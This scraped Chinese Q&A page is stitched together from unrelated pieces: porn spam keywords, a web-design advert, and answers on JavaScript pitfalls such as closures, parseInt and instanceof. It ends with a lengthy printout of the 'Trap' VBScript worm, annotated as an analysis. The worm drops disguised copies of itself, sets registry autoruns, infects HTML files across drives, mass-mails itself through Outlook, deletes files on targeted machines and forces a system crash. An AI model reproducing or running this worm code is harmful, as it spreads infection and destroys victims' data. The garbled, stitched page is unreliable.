真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網(wǎng)站制作重慶分公司

javascript陷阱,陷阱 百度知道

關(guān)于Javascript里面If statement的問(wèn)題

第1個(gè):a中....當(dāng)X==1的時(shí)候..并且Y==7的時(shí)候執(zhí)行statementA....如果當(dāng)X==1..Y!=7的時(shí)候..就執(zhí)行statementB...

為衛(wèi)濱等地區(qū)用戶(hù)提供了全套網(wǎng)頁(yè)設(shè)計(jì)制作服務(wù),及衛(wèi)濱網(wǎng)站建設(shè)行業(yè)解決方案。主營(yíng)業(yè)務(wù)為成都做網(wǎng)站、成都網(wǎng)站建設(shè)、衛(wèi)濱網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專(zhuān)業(yè)、用心的態(tài)度為用戶(hù)提供真誠(chéng)的服務(wù)。我們深信只要達(dá)到每一位用戶(hù)的要求,就會(huì)得到認(rèn)可,從而選擇與我們長(zhǎng)期合作。這樣,我們也可以走得更遠(yuǎn)!

你只要記得..else總是跟最近的一個(gè)if配對(duì)就可以了..(除了你呆會(huì)碰到的b情況..)

b中....它加了一個(gè)花括號(hào)..讓第2個(gè)if獨(dú)立了起來(lái)...它的意思就是....當(dāng)X==1并且Y==7的時(shí)候..執(zhí)行statementA....如果X!=1...那么就執(zhí)行statementB(Y為任意值)....原則上來(lái)講...else應(yīng)該跟最近的一個(gè)if配對(duì)..但是加了一個(gè)花括號(hào)它的意思就變了...意思if(Y==7)statementB只是if(X==1)的一個(gè)表達(dá)式語(yǔ)句而已....如果當(dāng)程序變成這個(gè)樣子的時(shí)候...

if (x ==1 )

if( y == 7 ){

statement A

}

else

statement B

把if(X==1)后面的花括號(hào)移到if(Y==7的后面的時(shí)候)..它表達(dá)的意思是跟a程序是一樣的...如果if語(yǔ)句后面只有一條語(yǔ)句..則允許不加花括號(hào)...

第2:這個(gè)很簡(jiǎn)單了..意思就是當(dāng)X==1并且Y==7的時(shí)候..執(zhí)行statementA...否則執(zhí)行statementB..看上去這個(gè)跟第1個(gè)程序的b是一樣的..其實(shí)不然.....這個(gè)程序必須滿(mǎn)足..X==1并且Y==7的時(shí)候才會(huì)執(zhí)行...只要其中有一個(gè)是錯(cuò)誤的..就不會(huì)執(zhí)行..而第1里面的b當(dāng)X==1的時(shí)候..Y!=7..則不會(huì)運(yùn)行任何代碼..因?yàn)榈?個(gè)if是獨(dú)立的..它不與任何else配對(duì)...

javascript應(yīng)注意的問(wèn)題

以下是JavaScript容易犯錯(cuò)的幾個(gè)"陷阱".由本人google+體驗(yàn)+搜集而來(lái).雖然不是什么很高深的技術(shù)問(wèn)題,但注意一下,會(huì)使您的編程輕松些.

1. 最后一個(gè)逗號(hào)

如這段代碼,注意最后一個(gè)逗號(hào),按語(yǔ)言學(xué)角度來(lái)說(shuō)應(yīng)該是不錯(cuò)的(python的類(lèi)似數(shù)據(jù)類(lèi)型辭典dictionary就允許如此)。IE會(huì)報(bào)語(yǔ)法錯(cuò)誤,但語(yǔ)義不詳,你只能用人眼從幾千行代碼中掃描。

Js代碼

script

var theObj = {

city : "ShenZhen",

state : "ok",

}

/script

script var theObj = { city : "ShenZhen", state : "ok", } /script

2. this的引用會(huì)改變

如這段代碼:

Js代碼

input type="button" value="Gotcha!" id="MyButton"

script

var MyObject = function () {

this.alertMessage = "Javascript rules";

this.ClickHandler = function() {

alert(this.alertMessage ); //行1

}

}();

document.getElementById("theText").onclick = MyObject.ClickHandler;

/script

input type="button" value="Gotcha!" id="MyButton" script var MyObject = function () { this.alertMessage = "Javascript rules"; this.ClickHandler = function() { alert(this.alertMessage ); //行1 } }(); document.getElementById("theText").onclick = MyObject.ClickHandler; /script

并不如你所愿,答案并不是”JavaScript rules”。在執(zhí)行MyObject.ClickHandler時(shí),在行1中,this的引用實(shí)際上指向的是document.getElementById("theText")的引用??梢赃@么解決:

Js代碼

input type="button" value="Gotcha!" id="theText"

script

var MyObject = function () {

var self = this;

this.alertMessage = “Javascript rules”;

this.OnClick = function() {

alert(self.value);

}

}();

document.getElementById(”theText”).onclick = MyObject.OnClick

/script

input type="button" value="Gotcha!" id="theText" script var MyObject = function () { var self = this; this.alertMessage = “Javascript rules”; this.OnClick = function() { alert(self.value); } }(); document.getElementById(”theText”).onclick = MyObject.OnClick /script

實(shí)質(zhì)上,這就是JavaScript作用域的問(wèn)題。如果你看過(guò),你會(huì)發(fā)現(xiàn)解決方案不止一種。

3. 標(biāo)識(shí)盜賊

在JavaScript中不要使用跟HTML的id一樣的變量名。如下代碼:

Js代碼

input type="button" id="TheButton"

script

var TheButton = document.getElementById("TheButton");

/script

input type="button" id="TheButton" script var TheButton = document.getElementById("TheButton"); /script

IE會(huì)報(bào)對(duì)象未定義的錯(cuò)誤。我只能說(shuō):IE 真爛.

4. 字符串只替換第一個(gè)匹配

如下代碼:

Js代碼

script

var fileName = "This is a title";

fileName=fileName.replace(" ","_");

/script

script var fileName = "This is a title"; fileName=fileName.replace(" ","_"); /script

而實(shí)際上,fileName結(jié)果是"This_is a title". 在JavaScript中,String.replace的第一個(gè)參數(shù)應(yīng)該是正則表達(dá)式。所以,正確的做法是這樣:

Js代碼

var fileName = "This is a title".replace(/ /g,"_");

var fileName = "This is a title".replace(/ /g,"_");

5. mouseout意味著mousein

事實(shí)上,這是由于事件冒泡導(dǎo)致的。IE中有mouseenter和mouseleave,但不是標(biāo)準(zhǔn)的。作者在此建議大家使用js庫(kù)來(lái)解決問(wèn)題。

6. parseInt是基于進(jìn)制體系的

這個(gè)是常識(shí),可是很多人給忽略了parseInt還有第二個(gè)參數(shù),用以指明進(jìn)制。比如,parseInt("09"),如果你認(rèn)為答案是9,那就錯(cuò)了。因?yàn)?,在此,字符串?開(kāi)頭,parseInt以八進(jìn)制來(lái)處理它,在八進(jìn)制中,09是非法,返回false,布爾值false轉(zhuǎn)化成數(shù)值就是0. 因此,正確的做法是

Js代碼

parseInt("09", 10).

parseInt("09", 10).

7. for...in...會(huì)遍歷所有的東西

有一段這樣的代碼:

Js代碼

var arr = [5,10,15]

var total = 1;

for ( var x in arr) {

total = total * arr[x];

}

var arr = [5,10,15] var total = 1; for ( var x in arr) { total = total * arr[x]; }

運(yùn)行得好好的,不是嗎?但是有一天它不干了,給我返回的值變成了NaN, 暈。我只不過(guò)引入了一個(gè)庫(kù)而已啊。原來(lái)是這個(gè)庫(kù)改寫(xiě)了Array的prototype,這樣,我們的arr平白無(wú)過(guò)多出了一個(gè)屬性(方法),而for...in...會(huì)把它給遍歷出來(lái)。

其實(shí),就算沒(méi)有引進(jìn)庫(kù).它的結(jié)果也并不是數(shù)組所有元素的乘積,因?yàn)閒or...in...會(huì)遍歷到數(shù)組的length屬性.

所以這樣做才是比較安全的:

Js代碼

for ( var x = 0; x arr.length; x++) {

total = total * arr[x];

}

for ( var x = 0; x arr.length; x++) { total = total * arr[x]; }

其實(shí),這也是污染基本類(lèi)的prototype會(huì)帶來(lái)危害的一個(gè)例證。

8. 事件處理器的陷阱

這其實(shí)只會(huì)存在使用作為對(duì)象屬性的事件處理器才會(huì)存在的問(wèn)題。比如window.onclick = MyOnClickMethod這樣的代碼,這會(huì)復(fù)寫(xiě)掉之前的window.onclick事件,還可能導(dǎo)致IE的內(nèi)容泄露(sucks again)。在IE還沒(méi)有支持DOM 2的事件注冊(cè)之前,作者建議使用庫(kù)來(lái)解決問(wèn)題,比如使用YUI:

YAHOO.util.Event.addListener(window, "click", MyOnClickMethod);

這應(yīng)該也屬于常識(shí)問(wèn)題,但新手可能容易犯錯(cuò)。

9. focus() 出錯(cuò)

新建一個(gè)input文本元素,然后把焦點(diǎn)挪到它上面,按理說(shuō),這樣的代碼應(yīng)該很自然:

Js代碼

var newInput = document.createElement("input");

document.body.appendChild(newInput);

newInput.focus();

newInput.select();

var newInput = document.createElement("input"); document.body.appendChild(newInput); newInput.focus(); newInput.select();

但是IE會(huì)報(bào)錯(cuò)。這是因?yàn)楫?dāng)你執(zhí)行fouce()的時(shí)候,元素尚未可用。因此,我們可以延遲執(zhí)行:

Js代碼

var newInput = document.createElement("input");

newInput.id = "TheNewInput";

document.body.appendChild(newInput);

//在0.01秒之后調(diào)用匿名函數(shù)獲取焦點(diǎn)

setTimeout(function(){

document.getElementById('TheNewInput').focus();

document.getElementById('TheNewInput').select();}, 10);

var newInput = document.createElement("input"); newInput.id = "TheNewInput"; document.body.appendChild(newInput); //在0.01秒之后調(diào)用匿名函數(shù)獲取焦點(diǎn) setTimeout(function(){ document.getElementById('TheNewInput').focus(); document.getElementById('TheNewInput').select();}, 10);

更詳細(xì)的資料參見(jiàn):

10.document.write()完全替換之前頁(yè)面內(nèi)容

有這樣一段代碼:

Js代碼

h3開(kāi)始/h3

script type="text/jscript"

function init() {

document.write("現(xiàn)在時(shí)間是:" + Date() );

}

window.onload = init;

/script

h3結(jié)束/h3

h3開(kāi)始/h3 script type="text/jscript" function init() { document.write("現(xiàn)在時(shí)間是:" + Date() ); } window.onload = init; /script h3結(jié)束/h3

上面代碼塊中的"開(kāi)始"和"結(jié)束"兩塊不會(huì)輸出.

當(dāng)onload事件結(jié)束之后,如果再一次調(diào)用document.write()方法寫(xiě)進(jìn)一段HTML,這段HTML會(huì)完全替換掉之前頁(yè)面的內(nèi)容.整個(gè)頁(yè)面的源代碼就變?yōu)榱薲ocument.write()所寫(xiě)的內(nèi)容.把上面的改為:

Js代碼

h3開(kāi)始/h3

script type="text/jscript"

function init() {

document.write("現(xiàn)在時(shí)間是:" + new Date() );

}

init()

/script

h3結(jié)束/h3

h3開(kāi)始/h3 script type="text/jscript" function init() { document.write("現(xiàn)在時(shí)間是:" + new Date() ); } init() /script h3結(jié)束/h3

"開(kāi)始"和"結(jié)束"就會(huì)正常輸出.

11.注意你name的值.

有這樣一段代碼:

Js代碼

form name="myForm" action="aa.htm"

input type="text" name="action" /

/form

script

//獲取form的id

alert(document.forms[0].action);

/script

form name="myForm" action="aa.htm" input type="text" name="action" / /form script //獲取form的id alert(document.forms[0].action); /script

可輸出結(jié)果不是我們想要的"aa.htm",而是一個(gè)"[object]"字符串.因?yàn)樗玫降氖莔yForm中的name為"action"的input標(biāo)簽的值.更詳細(xì)的內(nèi)容請(qǐng)參考[url]

[/url]

12.后臺(tái)數(shù)據(jù)傳輸不會(huì)影響到前臺(tái)

也許你會(huì)說(shuō)這是一非常低級(jí)的錯(cuò)誤.但我還是想說(shuō)下:

頁(yè)面login.htm代碼

Js代碼

...

xmlHttp.open("GET","check.htm",false);

xmlHttp.send();

alert(xmlHttp.responseText);

...

... xmlHttp.open("GET","check.htm",false); xmlHttp.send(); alert(xmlHttp.responseText); ...

頁(yè)面check.htm代碼

Js代碼

...

window.onload=checkLogin;

function checkLogin(){

...

//如果驗(yàn)證失敗,彈出錯(cuò)誤

alert("登錄失敗");

...

}

...

... window.onload=checkLogin; function checkLogin(){ ... //如果驗(yàn)證失敗,彈出錯(cuò)誤 alert("登錄失敗"); ... } ...

很多人習(xí)慣用這種方法來(lái)進(jìn)行登錄失敗的提示.但是要注意:xmlHttp發(fā)送數(shù)據(jù)的時(shí)候是進(jìn)行的后臺(tái)發(fā)送,它所關(guān)心的,僅僅是send之后,得到所請(qǐng)求URL的響應(yīng).而check.htm頁(yè)面所執(zhí)行的一切,都是只在后臺(tái)完成.不管它怎么跳轉(zhuǎn),或者alert(),或者close().都不會(huì)在界面中有任何顯示.

-----------------------------------------------------------------------------------------

在實(shí)踐中,JavaScript的陷阱還有很多很多,大多是由于解析器的實(shí)現(xiàn)不到位而引起。這些東西一般都不會(huì)在教科書(shū)中出現(xiàn),只能靠開(kāi)發(fā)者之間的經(jīng)驗(yàn)分享。希望大家有更好的分享。

部分內(nèi)容引用自:

文章出處:DIY部落()

node js怎么判斷循環(huán)結(jié)束了

Node.js?的異步機(jī)制由事件和回調(diào)函數(shù)實(shí)現(xiàn),一開(kāi)始接觸可能會(huì)感覺(jué)違反常規(guī),但習(xí)慣以后就會(huì)發(fā)現(xiàn)還是很簡(jiǎn)單的。然而這之中其實(shí)暗藏了不少陷阱,一個(gè)很容易遇到的問(wèn)題就是循環(huán)中的回調(diào)函數(shù),初學(xué)者經(jīng)常容易陷入這個(gè)圈套。讓我們從一個(gè)例子開(kāi)始說(shuō)明這個(gè)問(wèn)題。

var?fs = require('fs');

var?files = ['a.txt', 'b.txt', 'c.txt'];

for?(var?i = 0; i files.length; i++) {

fs.readFile(files[i], 'utf-8',?function?(err, contents) {

console.log(files[i] + ': ' + contents);

});

}

這段代碼的功能很直觀,就是依次讀取文件?a.txt、b.txt?、c.txt?,并輸出文件名和內(nèi)容。假設(shè)這三個(gè)文件的內(nèi)容分別是?AAA?、BBB?和?CCC,那么我們期望的輸出結(jié)果就是:

a.txt: AAA

b.txt: BBB

c.txt: CCC

可是我們運(yùn)行這段代碼的結(jié)果是怎樣的呢?竟然是這樣的結(jié)果:

undefined: AAA

undefined: BBB

undefined: CCC

這個(gè)結(jié)果說(shuō)明文件內(nèi)容正確輸出了,而文件名卻不對(duì),也就意味著,contents?的結(jié)果是正確的,但?files[i]?的值是?undefined。這怎么可能呢,文件名不正確卻能讀取文件內(nèi)容?既然難以直觀地理解,我們就把?files[i]?分解并打印出來(lái)看看,在讀取文件的回調(diào)函數(shù)中分別輸出?files、i?和?files[i]?。

var?fs = require('fs');

var?files = ['a.txt', 'b.txt', 'c.txt'];

for?(var?i = 0; i files.length; i++) {

fs.readFile(files[i], 'utf-8',?function?(err, contents) {

console.log(files);

console.log(i);

console.log(files[i]);

});

}

運(yùn)行修改后的代碼,結(jié)果如下:

[ 'a.txt', 'b.txt', 'c.txt' ]

3

undefined

[ 'a.txt', 'b.txt', 'c.txt' ]

3

undefined

[ 'a.txt', 'b.txt', 'c.txt' ]

3

undefined

看到這里是不是有點(diǎn)啟發(fā)了呢?三次輸出的?i?的值都是?3?,超出了?files?數(shù)組的下標(biāo)范圍,因此?files[i]?的值就是?undefined?了。這種情況通常會(huì)在?for?循環(huán)結(jié)束時(shí)發(fā)生,例如?for (var i = 0; i files.length; i++),退出循環(huán)時(shí)?i?的值就files.length?的值。既然?i?的值是?3?,那么說(shuō)明了事實(shí)上?fs.readFile?的回調(diào)函數(shù)中訪問(wèn)到的?i?值都是循環(huán)退出以后的,因此不能分辨。而?files[i]?作為?fs.readFile?的第一個(gè)參數(shù)在循環(huán)中就傳遞了,所以文件可以被定位到,而且可以顯示出文件的內(nèi)容。

現(xiàn)在問(wèn)題就明朗了:原因是3?次讀取文件的回調(diào)函數(shù)事實(shí)上是同一個(gè)實(shí)例,其中引用到的?i?值是上面循環(huán)執(zhí)行結(jié)束后的值,因此不能分辨。如何解決這個(gè)問(wèn)題呢?我們可以利用

JavaScript?函數(shù)式編程的特性,手動(dòng)建立一個(gè)閉包:

//forloopclosure.js

var?fs = require('fs');

var?files = ['a.txt', 'b.txt', 'c.txt'];

for?(var?i = 0; i files.length; i++) {

(function?(i) {

fs.readFile(files[i], 'utf-8',?function?(err, contents) {

console.log(files[i] + ': ' + contents);

});

})(i);

}

上面代碼在?for?循環(huán)體中建立了一個(gè)匿名函數(shù),將循環(huán)迭代變量?i?作為函數(shù)的參數(shù)傳遞并調(diào)用。由于運(yùn)行時(shí)閉包的存在,該匿名函數(shù)中定義的變量(包括參數(shù)表)在它內(nèi)部的函數(shù)(fs.readFile?的回調(diào)函數(shù))執(zhí)行完畢之前都不會(huì)釋放,因此我們?cè)谄渲性L問(wèn)到的?i?就分別是不同的閉包實(shí)例,這個(gè)實(shí)例是在循環(huán)體執(zhí)行的過(guò)程中創(chuàng)建的,保留了不同的值。

補(bǔ)充:閉包的寫(xiě)法,無(wú)法保證按數(shù)組存放文件順序讀取文件內(nèi)容,相當(dāng)多個(gè)文件讀取操作并行進(jìn)行,根據(jù)文件大小決定讀取的快慢;而forEach是可以的保證順序讀取;

事實(shí)上以上這種寫(xiě)法并不常見(jiàn),因?yàn)樗档土顺绦虻目勺x性,故不推薦使用。大多數(shù)情況下我們可以用數(shù)組的?forEach?方法解決這個(gè)問(wèn)題:

//callbackforeach.js

var?fs = require('fs');

var?files = ['a.txt', 'b.txt', 'c.txt'];

files.forEach(function?(filename) {

fs.readFile(filename, 'utf-8',?function?(err, contents) {

console.log(filename + ': ' + contents);

});

});

JS是什么

是一個(gè)能夠在服務(wù)器端運(yùn)行JavaScript的開(kāi)放源代碼、跨平臺(tái)JavaScript運(yùn)行環(huán)境。

Node.js由Node.js基金會(huì)持有和維護(hù),并與Linux基金會(huì)有合作關(guān)系。Node.js采用Google開(kāi)發(fā)的V8運(yùn)行代碼,使用事件驅(qū)動(dòng)、非阻塞和異步輸入輸出模型等技術(shù)來(lái)提高性能,可優(yōu)化應(yīng)用程序的傳輸量和規(guī)模。這些技術(shù)通常用于數(shù)據(jù)密集的即時(shí)應(yīng)用程序。

Node.js大部分基本模塊都用JavaScript語(yǔ)言編寫(xiě)。在Node.js出現(xiàn)之前,JavaScript通常作為客戶(hù)端程序設(shè)計(jì)語(yǔ)言使用,以JavaScript寫(xiě)出的程序常在用戶(hù)的瀏覽器上運(yùn)行。

Node.js的出現(xiàn)使JavaScript也能用于服務(wù)端編程。Node.js含有一系列內(nèi)置模塊,使得程序可以脫離Apache HTTP Server或IIS,作為獨(dú)立服務(wù)器運(yùn)行。

擴(kuò)展資料

js的優(yōu)點(diǎn)

Node作為一個(gè)新興的前端框架,后臺(tái)語(yǔ)言,有很多吸引人的地方:

RESTful API

單線(xiàn)程

Node可以在不新增額外線(xiàn)程的情況下,依然可以對(duì)任務(wù)進(jìn)行并發(fā)處理 —— Node.js是單線(xiàn)程的。它通過(guò)事件循環(huán)(event loop)來(lái)實(shí)現(xiàn)并發(fā)操作,對(duì)此,我們應(yīng)該要充分利用這一點(diǎn) —— 盡可能的避免阻塞操作,取而代之,多使用非阻塞操作。

參考資料來(lái)源? 百度百科-node.js

js 用instanceof做判斷會(huì)留下哪些陷阱

在 JavaScript 中,判斷一個(gè)變量的類(lèi)型嘗嘗會(huì)用 typeof 運(yùn)算符,在使用 typeof 運(yùn)算符時(shí)采用引用類(lèi)型存儲(chǔ)值會(huì)出現(xiàn)一個(gè)問(wèn)題,無(wú)論引用的是什么類(lèi)型的對(duì)象,它都返回 “object”。這就需要用到instanceof來(lái)檢測(cè)某個(gè)對(duì)象是不是另一個(gè)對(duì)象的實(shí)例。

另外,更重的一點(diǎn)是 instanceof 可以在繼承關(guān)系中用來(lái)判斷一個(gè)實(shí)例是否屬于它的父類(lèi)型。

例如:

function Foo(){}

Foo.prototype = new Aoo();//JavaScript 原型繼承

var foo = new Foo();

console.log(foo instanceof Foo)//true

console.log(foo instanceof Aoo)//true

上面的代碼中是判斷了一層繼承關(guān)系中的父類(lèi),在多層繼承關(guān)系中,instanceof 運(yùn)算符同樣適用。

又如:

console.log(Object instanceof Object);//true

console.log(Function instanceof Function);//true console.log(Number instanceof Number);//false

console.log(String instanceof String);//false

console.log(Function instanceof Object);//true

console.log(Foo instanceof Function);//true

console.log(Foo instanceof Foo);//false

給個(gè)C語(yǔ)言病毒代碼.....要復(fù)制的....越長(zhǎng)越好

下面就對(duì)“陷阱”的發(fā)作過(guò)程和源代碼作詳細(xì)的揭密。

病毒具有自身加密能力(使用 JavaScript 編碼技術(shù)),使得普通用戶(hù)無(wú)法看到病毒原碼,但在被感染 VBS 文件中并沒(méi)有加密,于是作為一個(gè)入口點(diǎn),我非常輕松地得到所有源碼。

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'這句話(huà)的意思可能是“借刀殺人”,然后是病毒名稱(chēng)“陷阱”

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) ’白宮相關(guān)人員郵件名單

whb(0) = "president@whitehouse.gov"

whb(1) = "vice.president@whitehouse.gov "

whb(2) = "first.lady@whitehouse.gov"

whb(3) = "mrs.cheney@whitehouse.gov"

'發(fā)送郵件的主題

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路徑

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '創(chuàng)建文件系統(tǒng)對(duì)象

if getErr then '辨認(rèn)病毒狀態(tài)

Randomize '初始化隨機(jī)種子

ra = int(rnd() * 7) '產(chǎn)生隨機(jī)數(shù)

doucment.write title(ra) ' 寫(xiě)隨機(jī)內(nèi)容

ExecuteMail '執(zhí)行郵件狀態(tài)時(shí)的程序

else

ExecutePage '執(zhí)行 WEB 頁(yè)狀態(tài)時(shí)的程序

end if

else

ExecuteVbs '執(zhí)行 VBS 文件狀態(tài)時(shí)的程序

end if

end sub

Function getErr() 忽略錯(cuò)誤

if Err.number0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 頁(yè)狀態(tài)時(shí)的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼

Js_Str = GetJavaScript() ' 得到 Javascript 代碼

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過(guò)的腳本代碼

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼

Gf

'定義病毒文件的路徑

wdsf = w2 "Mdm.vbs"

wdsf2 = w1 "Profile.vbs"

wdf = w2 "user.dll" ' 注意 wdf 和 wdf3 兩個(gè)文件非常迷惑人

wdf2 = w2 "Readme.html"

wdf3 = w2 "system.dll"

'創(chuàng)建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注冊(cè)表,讓病毒文件在每一次計(jì)算機(jī)啟動(dòng)自動(dòng)執(zhí)行

Writereg MSWKEY "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 執(zhí)行發(fā)送郵件程序

Hackpage ' 執(zhí)行感染網(wǎng)站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬盤(pán)和網(wǎng)絡(luò)共享硬盤(pán)

call SearchHTML(x "\") '執(zhí)行文件感染程序

end if

next

if TestUser then '檢查用戶(hù)

Killhe 執(zhí)行刪除文件操作

else

if Month(Date) Day(Date) = "75" then '如系統(tǒng)時(shí)間為 7月5日

set vf = fso.OpenTextFile(w2 "75.htm", 2,true) ’創(chuàng)建系統(tǒng)攻擊文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY "CurrentVersion\Run\75", w2 "75.htm", "" '自動(dòng)啟動(dòng)

window.navigate "c:/con/con" '立刻藍(lán)屏,利用 Windows BUG,能引起 Win9X 系統(tǒng)100%死機(jī)(即無(wú)法恢復(fù)的藍(lán)屏)

else '如不是7.5

if fso.FileExists(w2 "75.htm") then fso.DeleteFile w2 "75.htm" ' 刪除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '郵件狀態(tài)時(shí)執(zhí)行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '創(chuàng)建 TypeLib對(duì)象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '創(chuàng)建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開(kāi)會(huì)隱藏的窗口

end sub

sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時(shí)所執(zhí)行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系統(tǒng)路徑

w1=fso.GetSpecialFolder(0) "\"

w2=fso.GetSpecialFolder(1) "\"

end sub

function Readreg(key_str) '讀注冊(cè)表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '寫(xiě)注冊(cè)表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '創(chuàng)建HTML 文件的完整代碼

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="" "HTML" "HEAD" "TITLE" title(ra) "/" "TITLE" "/HEAD" _

"BO" "AD" vbcrlf MakeScript(Sbuffer, iHTML) vbcrlf _

"" "/BOAD" "/HTML"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒進(jìn)行自我加密過(guò)程,較為復(fù)雜,不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write(''+" "'SCRIPT Language=JavaScript\n'+" _

"jword" "+'\n/'" "+'SCRIPT');"

DocuWrite = DocuWrite vbcrlf "document.write(''+" "'SCRIPT Language=VBScript\n'+" _

"nword" "+'\n/'" "+'SCRIPT');"

MakeScript="" "SCRIPT Language=JavaScript" vbcrlf "var jword = " _

chr(34) encrypt(Js_Str) chr(34) vbcrlf "var nword = " _

chr(34) Codestr chr(34) vbcrlf "nword = unescape(nword);" vbcrlf _

"jword = unescape(jword);" vbcrlf DocuWrite vbcrlf "/" "SCRIPT"

else

MakeScript= "" "SCRIPT Language=JavaScript" Codestr "/" "SCRIPT"

end if

end function

function GetScriptCode(Languages) ' 得到不同腳本語(yǔ)言的代碼

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text) 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '檢測(cè)用戶(hù)過(guò)程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用戶(hù)關(guān)鍵詞

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '創(chuàng)建網(wǎng)絡(luò)對(duì)象

'下面一共3個(gè)循環(huán),作用一樣,是檢查用戶(hù)的 Domain、用戶(hù)名和計(jì)算機(jī)名是否含有以上的5個(gè)關(guān)鍵詞語(yǔ),一旦含有程序?qū)⒎祷亍闭妗钡臈l件,從而對(duì)這些用戶(hù)的文件進(jìn)行瘋狂刪除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) 0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '發(fā)送文件過(guò)程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿發(fā)送帶能直接感染文件的已加密的病毒代碼和HTML 附件

主題是隨機(jī)的,此過(guò)程與“歡樂(lè)時(shí)光“類(lèi)似,所以不再描述

Randomize

at=fso.GetSpecialFolder(1) "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW eins, Eaec, ""

next

